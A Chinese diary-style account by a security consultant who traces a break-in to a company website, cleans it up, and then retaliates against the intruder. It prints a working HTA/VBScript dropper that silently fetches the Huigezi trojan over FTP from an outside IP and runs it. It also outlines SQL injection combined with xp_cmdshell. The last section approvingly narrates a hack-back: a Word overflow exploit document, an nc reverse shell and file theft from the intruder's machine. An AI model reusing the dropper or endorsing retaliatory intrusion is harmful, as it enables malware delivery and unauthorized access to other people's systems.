反击、反击!抓住幕后黑手

网络通信

  想想自己做安全顾问也有几个月了,其间碰到的问题不少,但给我记忆最深的是一次在黑客反击战中的经历。

  8月6日 晴 9:30pm

  惊天的消息

  我在一家OA软件网站担任兼职安全顾问,由于网站访问量不大,所以没有花太多心思去管理。今天有同事惊慌地告诉我,公司的一个产品计划书在网上被盗卖”。计划书放在公司内部的电脑上,怎会被轻易地盗走?他自己也觉得很纳闷。希望我能帮他们修补漏洞并查明原因,最好还能抓到入侵者。

  排除公司内部人员所为的可能性后(这可是要负法律责任的啊!)最大可能就是同行搞的商业间谍活动。搞明白了入侵者的目的,我现在要做的就是修补好系统的漏洞,并设法抓住入侵者。

  8月6日 晴 11:05pm

  步步为营补漏洞

  用Windows XP自带的远程桌面管理登录到服务器,首先自然是要检查一下系统有没有被入侵者破坏。查看防火墙日志和系统安全日志,同样都是全无收获。显然入侵者的警惕性很高,本来想通过日志追查入侵者的希望落空了。

  打起精神继续检查。由于很多入侵者都喜欢在入侵后安装个后门或者Rootkit来持久占有系统,为此我将目标锁定在了查后门上,利用已经装好的卡巴斯基自动查找后门,几分钟过去了一点收获都没有。看来自动的没用,我就用手动的。在命令提示符下输入netstat -na检查端口连接情况,可惜报告显示对外连接只有80、1433、3389这几个端口。难道是我猜错了他没装后门吗?

  带着一丝忧虑我打开了“计算机管理”查看用户。好家伙,竟然多了一个名为Guest的用户,还有详细的说明文字,查看隶属,还是属于Guests组,一切似乎做得像模像样。不过不管他如何布局到底还是让我看出了破绽。其实这个系统我在安装好后就已经将Guest用户删除了,想来这个新添加的用户必定是入侵者为了维持权限而克隆的用户。

  为了证实想法,我从硬盘中找了一个叫CCA的软件,它就是专门用来检查是否有账号被克隆的软件。运行后CCA报告Guest用户是从Administrator中克隆来的。果不出所料,顺利删除Guest用户,并修改了管理员的密码。

  就在此时,OA软件网站的同事在MSN上告诉我公司员工昨天登录公司首页时,防护墙总是弹出是否要Mshta访问网络,问我怎么解决。Mshta?这不正是前一阵子闹得很凶的木马吗。按朋友所说是访问首页时出现错误,莫非入侵者将木马下到了网页中,不及多想赶忙用记事本打开公司首页,哈哈,果然发现有一处调用同目录下的sun.tsst文件语句,用记事本打开sun.tsst,看到如下东西:

  <html>

  <HTA:APPLICATION caption=“no” border=“none” showInTaskBar=“no” windowState=“minimize” width=0 height=0>

  <object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B' width=0 height=0></object>

  <script language=“VBScript”>

  Dim fs, t

  Set fs = CreateObject(“Scripting.FileSystemObject”)

  Set t = fs.CreateTextFile(“sun.txt”,True)

  t.WriteLine(“open 202.102.xx.xx”)

  t.WriteLine(“ftp”)

  t.WriteLine(“any@any.net”)

  t.WriteLine(“upload”)

  t.WriteLine(“lcd d:\”)

  t.WriteLine(“get hgz.exe”)

  t.WriteLine(“bye”)

  t.Close

  wsh.Run “ftp -s:sun.txt”,0,true

  wsh.Run “d:\hgz.exe”

  window.close

  </script>

  </html>

  我全明白了,原来入侵者为了能入侵到公司内网,利用社会工程学原理,故意在网站首页文件中写了一句调用sun.tsst文件的语句,而sun.tsst文件则是调用灰鸽子木马的元凶,它负责向202.102.xx.xx这个IP中的upload目录中下载灰鸽子木马并在本地执行。这样公司人员便在访问网站时中了灰鸽子,而入侵者再利用灰鸽子的反向连接特性长驱直入到公司内网,从而获得了绝密的计划文书。难怪连卡巴斯基都查不出来呢。删除这个罪魁祸首,写了一个批处理放到启动选项。

  8月7日 阴 8:50pm

  查出漏洞之源

  一上班继续做我的工作,顺利登录服务器,直接就查看昨天写的批处理所生成的日志,其实昨天的批处理的内容是这样的:

  time /t>>scanlog.log

  netstat -n -p tcp 10|find “:3389”>>scanlog.log

  批处理的意思是每10秒钟查看一次连接3389端口的情况,并将当时的时间,连接的IP都记录下来。我主要是用它来查找入侵者的IP。打开scanlog.log发现了同时有两个人正连接着服务器的3389端口,一个是我的,另一个自然就是入侵者的了。记下他的IP:202.94.xx.x(北京)。看来他又通过漏洞夺回了控制权。为此我必须先找到漏洞的根源才能继续修补系统,否则就要陷入这种补了又漏,漏了又补的情况。

  继续查看昨天没有检查完的Web日志,虽然网站的流量不大,但是Web日志的数据量还是很可观的。为了节省时间我在服务器上装了个专业的分析日志的软件Weblog,利用它可以很直观地看出每天访问量最高的页面。

  交给软件自动分析后,我奇怪地发现公司网站访问量最高的页面竟是vote.asp──投票页面。这在公司的网站上是很不正常的。在自己的电脑上打开vote.asp页面并提交选项,返回页面时发现它是个带参数的统计页面。思来想去,惟一能说明它有这么大访问量的原因就是入侵者可能是通过这个页面利用SQL注入漏洞得到了管理员的权限。然而问题是一般的投票系统都是用的MDB数据库,而MDB数据库一般是不可能单独得到权限的。于是上MSN问OA软件网站同事投票系统用的是什么数据库,得到的答案让我大吃一惊:SQL Server2000(小小的一个投票系统加文章系统竟然要SQL Server我晕)。问他有没有将扩展存储过程删除,得到的答案自然是没有。至此我也找到了漏洞出现的原因:入侵者首先用SQL注射漏洞配合SQL Server2000的xp_cmdshell扩展存储过程直接在系统中创建了一个管理员权限的用户(可怕呀^^)。而xp_cmdshell不仅可以添加用户,还可以作为一个无声的后门。汗!

  但由于SQL Server2000的特殊性,如果只是单单删除xp_cmdshell扩展存储过程,那么入侵者还是可以将它恢复过来,为此还要将它所依赖的其他存储过程和文件删除。在查询分析器中输入:

  use master

  sp_dropextendedproc ‘xp_cndshell’

  再转到SQL Server目录中将xpsql70.dll删除,这真累呀。赶快再检查一遍系统,利用昨天的方法将原来的漏洞都补过来,再做的绝点用c3389这个小工具将远程登录的端口由3389改成33998。踢走入侵者,这下入侵者应该进不来了吧。

  将得到的IP地址和Web日志一起交给朋友,让他与警察叔叔联系,嘻嘻。

  而我下面的任务就是要给入侵者一点警告,来次大反击。

  8月8日 小雨 9:32

  绝地大反击

  虽然现在外面下着小雨,但自己的心情格外好,整个上午都在思考如何给入侵者来个反击,刚巧打开Word时就想起了去年有个Word的溢出漏洞(ms03-036),既然入侵者会用社会工程学欺骗,那我也给他来个欺骗。

  先用Word溢出工具生成一个带连接的Word文档,虽然这个Word文档是个溢出程序,但仍可以用Word打开,不过里面全是乱码。将文档的名字改成“公司产品计划白皮书.doc”,再在自己的虚拟机中种下先前找到的灰鸽子木马,并用NC监听本机的2222端口。这样只要入侵者打开它时,我就能从入侵者的系统中得到一个用户级别的后门。

  一切布置妥当,现在就等着入侵者上钩。

  大约过了半个小时,虚拟机中的NC程序有了动静,看样子他已经打开了那个Word文档,顺利在入侵者的系统中的拿到了一个用户级别的Shell。搜集一下他的硬盘还发现了他入侵公司时的资料,好,下载下来作为证据。临走时在他的桌面上写了一个警告信息,走人。呼,“整个世界清静了”!